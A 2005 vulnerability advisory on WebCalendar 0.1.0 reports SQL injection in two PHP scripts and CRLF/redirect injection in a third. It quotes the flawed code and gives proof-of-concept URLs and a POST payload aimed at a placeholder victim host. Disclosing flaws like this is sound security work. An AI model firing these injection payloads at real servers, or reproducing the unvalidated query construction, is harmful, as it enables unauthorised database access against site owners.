WebCalendar Multiple Vulnerabilities.
WebCalendar Multiple Vulnerabilities.
Author: lwang (lwang at lwang.org)
Publish Date: 2005-12-1
Description:
WebCalendar is a PHP application used to maintain a calendar for one or more
persons and for a variety of purposes.
In WebCalendar 0.1.0, activity_log.php and edit_report_handler.php are prone to
SQL Injection attack, layers_toggle.php is vulnerable to CRLF Injection.
Reference:
http://vd.lwang.org/webcalendar_multiple_vulns.txt
Vulnerability Analysis and Proof of Concept:
1. SQL Injection
in activity_log.php, parameter $startid does not validation.
if ( ! empty ( $startid ) )
$sql .= "AND webcal_entry_log.cal_log_id <= $startid ";
PoC:
http://victimhost/webcalendar/activity_log.php?startid=%2527
http://victimhost/webcalendar/activity_log.php?startid=%27
http://victimhost/webcalendar/activity_log.php?startid='
in edit_report_handler.php
PoC:
POST the following variable to
http://victimhost/webcalendar/edit_report_handler.php
report_name=Unnamed%20Report&is_global=Y&show_in_trailer=Y&include_header=Y&time_range='&cat_id=1&allow_nav=Y&include_empty=Y&page_template=%26lt%3Bdl%26gt%3B%24%7Bdays%7D%26lt%3B%2Fdl%26gt%3B&day_template=%26lt%3Bdt%26gt%3B%26lt%3Bb%26gt%3B%24%7Bdate%7D%26lt%3B%2Fb%26gt%3B%26lt%3B%2Fdt%26gt%3B%0A%26lt%3Bdd%26gt%3B%26lt%3Bdl%26gt%3B%24%7Bevents%7D%26lt%3B%2Fdl%26gt%3B%26lt%3B%2Fdd%26gt%3B&event_template=%26lt%3Bdt%26gt%3B%24%7Bname%7D%26lt%3B%2Fdt%26gt%3B%0A%26lt%3Bdd%26gt%3B%26lt%3Bb%26gt%3BDate%3A%26lt%3B%2Fb%26gt%3B%20%24%7Bdate%7D%26lt%3Bbr%20%2F%26gt%3B%0A%26lt%3Bb%26gt%3BTime%3A%26lt%3B%2Fb%26gt%3B%20%24%7Btime%7D%26lt%3Bbr%20%2F%26gt%3B%0A%24%7Bdescription%7D%26lt%3B%2Fdd%26gt%3B
2. CRLF Injection
in layers_toggle.php, parameter $ret does not validation.
if ( empty ( $error ) ) {
// Go back to where we where if we can figure it out.
if ( strlen ( $ret ) )
do_redirect ( $ret );
else if ( ! empty ( $HTTP_REFERER ) )
do_redirect ( $HTTP_REFERER );
else
send_to_preferred_view ();
PoC:
http://victimhost/webcalendar/layers_toggle.php?status=on&ret=[url_redirect_to]